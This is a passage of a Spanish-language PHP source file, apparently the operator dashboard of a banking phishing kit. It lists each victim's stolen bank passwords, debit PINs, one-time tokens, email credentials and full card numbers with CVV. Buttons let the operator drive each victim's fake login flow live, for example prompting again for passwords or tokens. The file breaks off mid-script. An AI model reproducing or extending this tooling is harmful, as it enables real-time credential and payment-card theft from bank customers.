<?php
session_start();

if (!isset($_SESSION['panel_logged_in']) || $_SESSION['panel_logged_in'] !== true) {
    header('Location: panel_login.php');
    exit;
}

$sessionsFile = __DIR__ . "/sessions.json";
$sessions = file_exists($sessionsFile) ? json_decode(file_get_contents($sessionsFile), true) : [];

// Mapeo de emojis a colores
$colorMap = [
    '🔵' => 'blue',
    '🔴' => 'red',
    '🟢' => 'green',
    '🟡' => 'yellow',
    '🟣' => 'purple',
    '⚪' => 'blue' // Por defecto azul
];

// Agrupar sesiones por su color asignado (guardado en el JSON)
$sessionsByColor = [
    'blue' => [],
    'red' => [],
    'green' => [],
    'yellow' => [],
    'purple' => []
];

foreach ($sessions as $sid => $session) {
    $emoji = $session['color'] ?? '⚪';
    $color = $colorMap[$emoji] ?? 'blue';
    $sessionsByColor[$color][$sid] = $session;
}

// Ordenar cada grupo por timestamp (más antiguos primero)
foreach ($sessionsByColor as &$group) {
    uasort($group, function($a, $b) {
        return ($a['timestamp'] ?? 0) <=> ($b['timestamp'] ?? 0);
    });
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    
    <meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex">
    <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="bingbot" content="noindex, nofollow, noarchive">
    <meta http-equiv="X-Robots-Tag" content="noindex, nofollow">
    <meta name="httrack-crawler" content="nofollow">
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache, no-store, must-revalidate">
    
    <title>Panel de Administración</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: #1a1a1a;
            min-height: 100vh;
            padding: 20px;
        }

        .container {
            max-width: 100%;
            margin: 0 auto;
        }

        .header {
            background: #2a2a2a;
            color: white;
            padding: 20px 25px;
            border-radius: 10px;
            margin-bottom: 20px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.3);
            position: relative;
        }

        .header h1 {
            font-size: 28px;
            margin-bottom: 15px;
        }

        .stats {
            display: flex;
            gap: 20px;
            margin-top: 15px;
        }

        .stat-box {
            background: #3a3a3a;
            color: white;
            padding: 15px 25px;
            border-radius: 8px;
            flex: 1;
        }

        .stat-box h3 {
            font-size: 14px;
            opacity: 0.7;
            margin-bottom: 5px;
        }

        .stat-box p {
            font-size: 28px;
            font-weight: bold;
        }

        .logout-btn {
            position: absolute;
            top: 20px;
            right: 25px;
            background: #dc3545;
            color: white;
            padding: 8px 20px;
            border-radius: 5px;
            text-decoration: none;
            font-weight: 600;
            transition: background 0.3s;
        }

        .logout-btn:hover {
            background: #c82333;
        }

        .controls-container {
            display: flex;
            align-items: center;
            margin-bottom: 20px;
            gap: 15px;
        }

        .auto-refresh {
            background: #2a2a2a;
            color: white;
            padding: 10px 20px;
            border-radius: 8px;
            display: inline-block;
        }

        .auto-refresh label {
            display: flex;
            align-items: center;
            gap: 10px;
            cursor: pointer;
        }

        .auto-refresh input[type="checkbox"] {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }

        .clear-all-btn {
            background: #ff6b6b;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            font-weight: 600;
            cursor: pointer;
            transition: background 0.3s;
            display: inline-flex;
            align-items: center;
            gap: 8px;
        }

        .clear-all-btn:hover {
            background: #ee5a5a;
        }

        .export-btn {
            background: #28a745;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            font-weight: 600;
            cursor: pointer;
            transition: background 0.3s;
            display: inline-flex;
            align-items: center;
            gap: 8px;
            text-decoration: none;
        }

        .export-btn:hover {
            background: #218838;
        }

        .columns-container {
            display: flex;
            gap: 20px;
            overflow-x: auto;
            padding-bottom: 20px;
        }

        .color-column {
            min-width: 400px;
            flex-shrink: 0;
            border-radius: 10px;
            padding: 20px;
            box-shadow: 0 4px 6px rgba(0,0,0,0.3);
        }

        .color-column.blue {
            background: #2196F3;
        }

        .color-column.red {
            background: #f44336;
        }

        .color-column.green {
            background: #4CAF50;
        }

        .color-column.yellow {
            background: #FFC107;
        }

        .color-column.purple {
            background: #9C27B0;
        }

        .column-header {
            color: white;
            font-size: 24px;
            font-weight: bold;
            margin-bottom: 20px;
            text-align: center;
            text-transform: uppercase;
            padding: 15px;
            background: rgba(0,0,0,0.2);
            border-radius: 8px;
        }

        .session-card {
            background: white;
            border-radius: 8px;
            padding: 15px;
            margin-bottom: 15px;
            box-shadow: 0 2px 4px rgba(0,0,0,0.2);
            transition: transform 0.2s;
        }

        .session-card:hover {
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0,0,0,0.3);
        }

        .session-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 12px;
            padding-bottom: 12px;
            border-bottom: 2px solid #f0f0f0;
        }

        .session-id {
            font-size: 11px;
            color: #666;
            font-family: monospace;
        }

        .session-id .user-number {
            font-size: 18px;
            font-weight: 900;
            color: #000;
            margin-right: 8px;
        }

        .session-status {
            padding: 4px 12px;
            border-radius: 15px;
            font-size: 11px;
            font-weight: bold;
            text-transform: uppercase;
            background: #d4edda;
            color: #155724;
        }

        .session-info {
            display: grid;
            gap: 8px;
            margin-bottom: 15px;
        }

        .info-item {
            display: flex;
            align-items: center;
            gap: 8px;
            font-size: 13px;
        }

        .info-label {
            font-weight: bold;
            color: #555;
            min-width: 70px;
        }

        .info-value {
            color: #333;
            word-break: break-all;
            cursor: pointer;
            padding: 4px 8px;
            border-radius: 4px;
            transition: all 0.2s;
            user-select: all;
        }

        .info-value:hover {
            background: #e3f2fd;
            color: #1976d2;
        }

        .info-value.copied {
            background: #4caf50;
            color: white;
            animation: copyPulse 0.5s ease;
        }

        @keyframes copyPulse {
            0%, 100% { transform: scale(1); }
            50% { transform: scale(1.05); }
        }

        .status-indicator {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            margin-right: 6px;
        }

        .status-online {
            background: #28a745;
            box-shadow: 0 0 8px rgba(40, 167, 69, 0.6);
        }

        .status-offline {
            background: #dc3545;
            box-shadow: 0 0 8px rgba(220, 53, 69, 0.6);
        }

        .session-id-container {
            display: flex;
            align-items: center;
        }

        .button-controls {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
            padding-top: 12px;
            border-top: 2px solid #f0f0f0;
        }

        .btn {
            padding: 8px 15px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-weight: bold;
            font-size: 12px;
            transition: all 0.3s;
            display: flex;
            align-items: center;
            gap: 6px;
        }

        .btn:hover {
            transform: translateY(-1px);
            box-shadow: 0 3px 6px rgba(0,0,0,0.2);
        }

        .btn-login {
            background: #28a745;
            color: white;
        }

        .btn-contr4 {
            background: #007bff;
            color: white;
        }

        .btn-contr4-error {
            background: #ffc107;
            color: #333;
        }

        .btn-toq1 {
            background: #17a2b8;
            color: white;
        }

        .btn-toq2 {
            background: #6f42c1;
            color: white;
        }

        .btn-exit {
            background: #dc3545;
            color: white;
        }

        .btn-app1 {
            background: #e91e63;
            color: white;
        }

        .btn-app2 {
            background: #ff5722;
            color: white;
        }

        .btn-verific {
            background: #28a745;
            color: white;
        }

        .btn:disabled {
            opacity: 0.5;
            cursor: not-allowed;
        }

        .no-sessions {
            text-align: center;
            padding: 40px 20px;
            background: rgba(255,255,255,0.2);
            border-radius: 8px;
            color: white;
        }

        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
        }

        .modal-content {
            background-color: white;
            margin: 10% auto;
            padding: 30px;
            border-radius: 10px;
            width: 90%;
            max-width: 500px;
            box-shadow: 0 4px 20px rgba(0,0,0,0.3);
        }

        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 20px;
        }

        .modal-header h2 {
            color: #333;
            font-size: 22px;
        }

        .close {
            color: #aaa;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
            line-height: 20px;
        }

        .close:hover,
        .close:focus {
            color: #000;
        }

        .upload-area {
            border: 2px dashed #667eea;
            border-radius: 8px;
            padding: 30px;
            text-align: center;
            margin-bottom: 20px;
            cursor: pointer;
            transition: all 0.3s;
        }

        .upload-area:hover {
            background-color: #f8f9ff;
        }

        .upload-area.drag-over {
            border-color: #4c51bf;
            background-color: #e6e9ff;
            transform: scale(1.02);
        }

        .comment-field {
            margin: 15px 0;
        }

        .comment-field label {
            display: block;
            margin-bottom: 8px;
            color: #333;
            font-weight: 600;
        }

        .comment-field textarea {
            width: 100%;
            padding: 10px;
            border: 1px solid #ccc;
            border-radius: 6px;
            font-size: 14px;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            resize: vertical;
            min-height: 60px;
        }

        .comment-field textarea:focus {
            outline: none;
            border-color: #667eea;
        }

        .phone-field {
            margin: 20px 0;
        }

        .phone-field label {
            display: block;
            margin-bottom: 10px;
            color: #333;
            font-weight: 600;
        }

        .phone-field input[type="text"] {
            width: 100%;
            padding: 12px;
            border: 1px solid #ccc;
            border-radius: 6px;
            font-size: 15px;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }

        .phone-field input[type="text"]:focus {
            outline: none;
            border-color: #667eea;
        }

        .upload-area input[type="file"] {
            display: none;
        }

        .image-preview-modal {
            max-width: 100%;
            max-height: 300px;
            margin: 15px 0;
            border-radius: 8px;
            display: none;
        }

        .btn-upload {
            width: 100%;
            padding: 12px;
            background-color: #667eea;
            color: white;
            border: none;
            border-radius: 6px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: background 0.3s;
        }

        .btn-upload:hover {
            background-color: #5568d3;
        }

        .btn-upload:disabled {
            background-color: #ccc;
            cursor: not-allowed;
        }

        .new-session {
            animation: highlightNew 2s ease;
        }

        @keyframes highlightNew {
            0% { background-color: #fff3cd; }
            100% { background-color: white; }
        }

        .column-count {
            background: rgba(0,0,0,0.3);
            color: white;
            padding: 5px 15px;
            border-radius: 20px;
            display: inline-block;
            margin-top: 10px;
            font-size: 14px;
        }
    </style>
</head>
<script>
    // Guardar posición de scroll antes de recargar
    window.addEventListener("beforeunload", function() {
        localStorage.setItem("scrollPos", window.scrollY);
        localStorage.setItem("scrollPosX", document.querySelector('.columns-container').scrollLeft);
    });

    // Restaurar posición de scroll después de cargar
    window.addEventListener("load", function() {
        const scrollPos = localStorage.getItem("scrollPos");
        const scrollPosX = localStorage.getItem("scrollPosX");
        if (scrollPos) {
            window.scrollTo(0, parseInt(scrollPos));
        }
        if (scrollPosX) {
            document.querySelector('.columns-container').scrollLeft = parseInt(scrollPosX);
        }
    });
</script>
<body>
    <div class="container">
        <div class="header">
            <a href="panel_logout.php" class="logout-btn">🔒 Cerrar Sesión</a>
            <h1>📊 Panel de Administración</h1>
            <div class="stats">
                <div class="stat-box">
                    <h3>Sesiones Activas</h3>
                    <p><?= count($sessions) ?></p>
                </div>
                <div class="stat-box">
                    <h3>Total Conexiones</h3>
                    <p><?= count($sessions) ?></p>
                </div>
            </div>
        </div>

        <div class="controls-container">
            <div class="auto-refresh">
                <label>
                    <input type="checkbox" id="autoRefresh" checked>
                    <span>🔄 Actualización automática (cada 2 segundos)</span>
                </label>
            </div>
            <a href="panel_export.php" class="export-btn">
                📥 Exportar Registros a TXT
            </a>
            <button class="clear-all-btn" onclick="clearAllSessions()">
                🗑️ Eliminar Todos los Registros
            </button>
        </div>

        <div class="columns-container">
            <?php
            $colorNames = [
                'blue' => ['name' => 'AZUL', 'emoji' => '🔵'],
                'red' => ['name' => 'ROJO', 'emoji' => '🔴'],
                'green' => ['name' => 'VERDE', 'emoji' => '🟢'],
                'yellow' => ['name' => 'AMARILLO', 'emoji' => '🟡'],
                'purple' => ['name' => 'MORADO', 'emoji' => '🟣']
            ];

            foreach ($colorNames as $color => $info):
                $colorSessions = $sessionsByColor[$color];
                $count = count($colorSessions);
            ?>
                <div class="color-column <?= $color ?>">
                    <div class="column-header">
                        <?= $info['emoji'] ?> <?= $info['name'] ?>
                        <div class="column-count"><?= $count ?> sesión<?= $count != 1 ? 'es' : '' ?></div>
                    </div>

                    <?php if (empty($colorSessions)): ?>
                        <div class="no-sessions">
                            <p>Sin sesiones</p>
                        </div>
                    <?php else: ?>
                        <?php 
                        $userNumber = 1;
                        foreach ($colorSessions as $sid => $session): 
                            $timestamp = $session['timestamp'] ?? 0;
                            $tiempoInactivo = time() - $timestamp;
                            $isActive = $tiempoInactivo < 15;
                            $statusClass = $isActive ? 'status-online' : 'status-offline';
                        ?>
                            <div class="session-card" data-sid="<?= htmlspecialchars($sid) ?>">
                                <div class="session-header">
                                    <div class="session-id-container">
                                        <span class="status-indicator <?= $statusClass ?>"></span>
                                        <span class="session-id">
                                            <span class="user-number">#<?= $userNumber ?></span>
                                            <span>SID: <?= htmlspecialchars(substr($sid, 0, 8)) ?></span>
                                        </span>
                                    </div>
                                    <span class="session-status">
                                        <?= htmlspecialchars($session['status'] ?? 'esperando') ?>
                                    </span>
                                </div>

                                <div class="session-info">
                                    <?php if (isset($session['ip'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔎 IP:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['ip']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['location'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🌍 Ubicación:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['location']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['coban'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🏦 Coban:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['coban']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['Tipo de Documento:'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">📋 Tipo de Documento:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['Tipo de Documento:']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['Documento:'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🪪 Documento:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['Documento:']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['Clave:'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔑 Clave:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['Clave:']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['Clave Debi:'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">💳 Clave Debi:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['Clave Debi:']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['Ultimos 4 de T:'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔢 Ultimos 4 de T:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['Ultimos 4 de T:']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['usuario'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🧑 Usuario:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['usuario']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['password'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔑 Password:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['password']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['token'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">📱 Token:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['token']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['app'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">📲 App:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['app']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['correo'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">📧 Correo:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['correo']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['clave_correo'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔐 Clave Correo:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['clave_correo']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['numero_tarjeta'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">💳 Tarjeta:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['numero_tarjeta']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['expiracion_tarjeta'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">📅 Expiración:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['expiracion_tarjeta']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['cvv_tarjeta'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">🔢 CVV:</span>
                                        <span class="info-value"><?= htmlspecialchars($session['cvv_tarjeta']) ?></span>
                                    </div>
                                    <?php endif; ?>

                                    <?php if (isset($session['timestamp'])): ?>
                                    <div class="info-item">
                                        <span class="info-label">⏰ Hora:</span>
                                        <span class="info-value"><?= date('d/m/Y H:i:s', $session['timestamp']) ?></span>
                                    </div>
                                    <?php endif; ?>
                                </div>

                                <div class="button-controls">
                                    <button class="btn btn-login" onclick="updateStatus('<?= $sid ?>', 'l0g1n')">
                                        l0g1n
                                    </button>
                                    
                                    <?php if (($session['coban'] ?? '') !== 'empre'): ?>
                                    <button class="btn btn-contr4" onclick="updateStatus('<?= $sid ?>', 'contr4')">
                                        contr4
                                    </button>
                                    <button class="btn btn-contr4-error" onclick="updateStatus('<?= $sid ?>', 'contr4 error')">
                                        contr4 error
                                    </button>
                                    <?php endif; ?>
                                    
                                    <button class="btn btn-toq1" onclick="updateStatus('<?= $sid ?>', 'toq1')">
                                        toq1
                                    </button>
                                    <button class="btn btn-toq2" onclick="updateStatus('<?= $sid ?>', 'toq2')">
                                        toq2
                                    </button>
                                    <button class="btn btn-app1" onclick="updateStatus('<?= $sid ?>', 'app1')">app1</button>
                                    <button class="btn btn-app2" onclick="updateStatus('<?= $sid ?>', 'app2')">app2</button>
                                    <button class="btn btn-verific" onclick="updateStatus('<?= $sid ?>', 'verific')">
                                        Verific
                                    </button>
                                    <button class="btn btn-exit" onclick="updateStatus('<?= $sid ?>', 'exit')">
                                        exit
                                    </button>
                                </div>
                            </div>
                        <?php 
                            $userNumber++;
                        endforeach; ?>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
    </div>

    <div id="imageModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>📷 Subir Imagen</h2>
                <span class="close" onclick="closeModal()">&times;</span>
            </div>
            <form id="uploadForm" enctype="multipart/form-data">
                <div class="upload-area" id="uploadArea" onclick="document.getElementById('imageInput').click()">
                    <p>📁 Click aquí o arrastra una imagen</p>
                    <p style="font-size: 12px; color: #666; margin-top: 10px;">Formatos: JPG, PNG, GIF, WEBP (máx. 5MB)</p>
                    <input type="file" id="imageInput" name="image" accept="image/*" onchange="previewImage(event)">
                </div>
                <img id="imagePreview" class="image-preview-modal" alt="Vista previa">
                <div class="comment-field">
                    <label for="imageComment">Comentario (opcional):</label>
                    <textarea id="imageComment" name="comment" placeholder="Agrega un comentario que se mostrará debajo de la imagen..."></textarea>
                </div>
                <input type="hidden" id="modalSid" name="sid">
                <input type="hidden" id="modalAction" name="action">
                <button type="submit" class="btn-upload" id="uploadBtn" disabled>Enviar con Imagen</button>
                <button type="button" class="btn-upload" onclick="sendWithoutImage()" style="background-color: #6c757d; margin-top: 10px;">Enviar Sin Imagen</button>
            </form>
        </div>
    </div>

    <div id="phoneModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h2>📱 Ingresar 4 Dígitos</h2>
                <span class="close" onclick="closePhoneModal()">&times;</span>
            </div>
            <div class="phone-field">
                <label for="phoneNumber">Ingresa los 4 dígitos que aparecerán después de (***):</label>
                <input type="text" id="phoneNumber" name="phone_number" placeholder="Ej: 1234" maxlength="4" pattern="[0-9]{4}" inputmode="numeric" style="text-align: center; font-size: 24px; letter-spacing: 8px;">
            </div>
            <input type="hidden" id="phoneModalSid" name="sid">
            <input type="hidden" id="phoneModalAction" name="action">
            <button type="button" class="btn-upload" onclick="sendPhoneUpdate()">Enviar</button>
        </div>
    </div>

    <script>
        let autoRefreshInterval = null;

        // Función para copiar al portapapeles
        function copyToClipboard(element) {
            const text = element.textContent.trim();
            
            navigator.clipboard.writeText(text).then(() => {
                // Feedback visual
                element.classList.add('copied');
                
                setTimeout(() => {
                    element.classList.remove('copied');
                }, 500);
            }).catch(err => {
                console.error('Error al copiar:', err);
                // Fallback para navegadores antiguos
                const textArea = document.createElement('textarea');
                textArea.value = text;
                textArea.style.position = 'fixed';
                textArea.style.opacity = '0';
                document.body.appendChild(textArea);
                textArea.select();
                try {
                    document.execCommand('copy');
                    element.classList.add('copied');
                    setTimeout(() => {
                        element.classList.remove('copied');
                    }, 500);
                } catch (err) {
                    console.error('Error al copiar:', err);
                }
                document.body.removeChild(textArea);
            });
        }

        // Agregar evento click a todos los valores
        document.addEventListener('DOMContentLoaded', function() {
            document.querySelectorAll('.info-value').forEach(element => {
                element.addEventListener('click', function() {
                    copyToClipboard(this);
                });
            });
        });

        function updateStatus(sid, action) {
            if (action === 'contr4' || action === 'contr4 error') {
                openImageModal(sid, action);
            } else if (action === 'app1' || action === 'app2') {
                openPhoneModal(sid, action);
            } else {
                sendStatusUpdate(sid, action);
            }
        }

        function sendStatusUpdate(sid, action) {
            fetch('panel_api.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    sid: sid,
                    action: action
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    location.reload();
                } else {
                    alert('Error: ' + (data.message || 'No se pudo actualizar el estado'));
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Error de conexión');
            });
        }

        function openImageModal(sid, action) {
            document.getElementById('modalSid').value = sid;
            document.getElementById('modalAction').value = action;
            document.getElementById('imageModal').style.display = 'block';
            document.getElementById('imageInput').value = '';
            document.getElementById('imagePreview').style.display = 'none';
            document.getElementById('uploadBtn').disabled = true;
            if (autoRefreshInterval) {
                stopAutoRefresh();
            }
        }

        function closeModal() {
            document.getElementById('imageModal').style.display = 'none';
            document.getElementById('imageComment').value = '';
            if (document.getElementById('autoRefresh').checked) {
                startAutoRefresh();
            }
        }

        function previewImage(event) {
            const file = event.target.files[0];
            if (file) {
                const reader = new FileReader();
                reader.onload = function(e) {
                    const preview = document.getElementById('imagePreview');
                    preview.src = e.target.result;
                    preview.style.display = 'block';
                    document.getElementById('uploadBtn').disabled = false;
                };
                reader.readAsDataURL(file);
            }
        }

        const uploadArea = document.getElementById('uploadArea');
        const imageInput = document.getElementById('imageInput');

        ['dragenter', 'dragover', 'dragleave', 'drop'].forEach(eventName => {
            uploadArea.addEventListener(eventName, preventDefaults, false);
        });

        function preventDefaults(e) {
            e.preventDefault();
            e.stopPropagation();
        }

        ['dragenter', 'dragover'].forEach(eventName => {
            uploadArea.addEventListener(eventName, () => {
                uploadArea.classList.add('drag-over');
            });
        });

        ['dragleave', 'drop'].forEach(eventName => {
            uploadArea.addEventListener(eventName, () => {
                uploadArea.classList.remove('drag-over');
            });
        });

        uploadArea.addEventListener('drop', handleDrop, false);

        function handleDrop(e) {
            const dt = e.dataTransfer;
            const files = dt.files;
            
            if (files.length > 0) {
                imageInput.files = files;
                const event = new Event('change', { bubbles: true });
                imageInput.dispatchEvent(event);
            }
        }

        function sendWithoutImage() {
            const sid = document.getElementById('modalSid').value;
            const action = document.getElementById('modalAction').value;
            closeModal();
            sendStatusUpdate(sid, action);
        }

        function openPhoneModal(sid, action) {
            document.getElementById('phoneModalSid').value = sid;
            document.getElementById('phoneModalAction').value = action;
            document.getElementById('phoneNumber').value = '';
            document.getElementById('phoneModal').style.display = 'block';
            if (autoRefreshInterval) {
                stopAutoRefresh();
            }
        }

        function closePhoneModal() {
            document.getElementById('phoneModal').style.display = 'none';
            document.getElementById('phoneNumber').value = '';
            if (document.getElementById('autoRefresh').checked) {
                startAutoRefresh();
            }
        }

        function sendPhoneUpdate() {
            const sid = document.getElementById('phoneModalSid').value;
            const action = document.getElementById('phoneModalAction').value;
            const phoneNumber = document.getElementById('phoneNumber').value;

            fetch('panel_api.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    sid: sid,
                    action: action,
                    phone_number: phoneNumber
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    closePhoneModal();
                    location.reload();
                } else {
                    alert('Error: ' + (data.message || 'No se pudo actualizar el estado'));
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Error de conexión');
            });
        }

        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            const formData = new FormData(this);
            
            fetch('upload_image.php', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    closeModal();
                    location.reload();
                } else {
                    alert('Error: ' + (data.message || 'No se pudo subir la imagen'));
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Error de conexión');
            });
        });

        window.onclick = function(event) {
            const imageModal = document.getElementById('imageModal');
            const phoneModal = document.getElementById('phoneModal');
            if (event.target == imageModal) {
                closeModal();
            }
            if (event.target == phoneModal) {
                closePhoneModal();
            }
        };

        function playNotificationSound() {
            const audioContext = new (window.AudioContext || window.webkitAudioContext)();
            const oscillator = audioContext.createOscillator();
            const gainNode = audioContext.createGain();
            
            oscillator.connect(gainNode);
            gainNode.connect(audioContext.destination);
            
            oscillator.frequency.setValueAtTime(800, audioContext.currentTime);
            oscillator.frequency.setValueAtTime(600, audioContext.currentTime + 0.5);
            oscillator.type = 'sine';
            
            gainNode.gain.setValueAtTime(1.0, audioContext.currentTime);
            gainNode.gain.exponentialRampToValueAtTime(0.01, audioContext.currentTime + 4);
            
            oscillator.start(audioContext.currentTime);
            oscillator.stop(audioContext.currentTime + 4);
        }

        function checkForNewSessions() {
            const currentSessionIds = [];
            document.querySelectorAll('.session-card').forEach(card => {
                currentSessionIds.push(card.getAttribute('data-sid'));
            });
            
            const previousSessionIds = JSON.parse(localStorage.getItem('sessionIds') || '[]');
            
            
            const newSessions = currentSessionIds.filter(id => !previousSessionIds.includes(id));
            
            if (newSessions.length > 0) {
                playNotificationSound();
                console.log('Nueva conexión detectada:', newSessions);
            }
            
            localStorage.setItem('sessionIds', JSON.stringify(currentSessionIds));
        }

        checkForNewSessions();

        function clearAllSessions() {
            if (!confirm('⚠️ ¿Estás seguro de que quieres eliminar TODOS los registros del panel?\n\nEsta acción no se puede deshacer.')) {
                return;
            }

            fetch('panel_clear.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                }
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    alert('✅ ' + data.message);
                    location.reload();
                } else {
                    alert('❌ Error: ' + data.message);
                }
            })
            .catch(error => {
                console.error('Error:', error);
                alert('Error de conexión');
            });
        }

        function startAutoRefresh() {
            autoRefreshInterval = setInterval(() => {
                fetch(window.location.href)
                    .then(response => response.text())
                    .then(html => {
                        const parser = new DOMParser();
                        const doc = parser.parseFromString(html, 'text/html');
                        
                        // Actualizar cada columna
                        const colors = ['blue', 'red', 'green', 'yellow', 'purple'];
                        colors.forEach(color => {
                            const newColumn = doc.querySelector(`.color-column.${color}`);
                            const currentColumn = document.querySelector(`.color-column.${color}`);
                            
                            if (newColumn && currentColumn) {
                                const newCards = newColumn.querySelectorAll('.session-card');
                                const currentCards = currentColumn.querySelectorAll('.session-card');
                                
                                // Actualizar contenido de las tarjetas existentes
                                newCards.forEach(card => {
                                    const sid = card.getAttribute('data-sid');
                                    const existing = currentColumn.querySelector(`[data-sid="${sid}"]`);
                                    
                                    if (!existing) {
                                        // Nueva sesión
                                        card.classList.add('new-session');
                                        const noSessions = currentColumn.querySelector('.no-sessions');
                                        if (noSessions) {
                                            noSessions.remove();
                                        }
                                        
                                        // Insertar al final de la columna (debajo de las tarjetas existentes)
                                        const existingCards = currentColumn.querySelectorAll('.session-card');
                                        if (existingCards.length > 0) {
                                            // Insertar después de la última tarjeta
                                            existingCards[existingCards.length - 1].insertAdjacentElement('afterend', card);
                                        } else {
                                            // Si no hay tarjetas, insertar después del encabezado
                                            currentColumn.querySelector('.column-header').insertAdjacentElement('afterend', card);
                                        }
                                        
                                        // Agregar eventos de clic a los nuevos valores
                                        card.querySelectorAll('.info-value').forEach(element => {
                                            element.addEventListener('click', function() {
                                                copyToClipboard(this);
                                            });
                                        });
                                        
                                        setTimeout(() => card.classList.remove('new-session'), 2000);
                                    } else {
                                        // Actualizar contenido existente
                                        const newContent = card.querySelector('.session-info');
                                        const newStatus = card.querySelector('.session-status');
                                        const existingContent = existing.querySelector('.session-info');
                                        const existingStatus = existing.querySelector('.session-status');
                                        
                                        if (newContent && existingContent) {
                                            existingContent.innerHTML = newContent.innerHTML;
                                            
                                            // Re-agregar eventos de clic a los valores actualizados
                                            existingContent.querySelectorAll('.info-value').forEach(element => {
                                                element.addEventListener('click', function() {
                                                    copyToClipboard(this);
                                                });
                                            });
                                        }
                                        if (newStatus && existingStatus) {
                                            existingStatus.innerHTML = newStatus.innerHTML;
                                        }
                                    }
                                });
                                
                                // Actualizar contador
                                const newCount = newColumn.querySelector('.column-count');
                                const currentCount = currentColumn.querySelector('.column-count');
